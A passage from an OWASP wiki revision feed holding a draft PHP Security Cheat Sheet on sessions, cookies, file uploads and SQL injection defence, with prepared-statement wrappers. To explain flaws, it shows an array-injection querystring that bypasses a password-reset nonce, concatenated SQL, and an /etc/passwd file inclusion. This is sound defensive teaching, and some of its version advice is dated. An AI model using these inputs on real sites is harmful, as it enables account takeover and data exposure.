* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170782</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=170782"/>
				<updated>2014-03-25T15:53:26Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
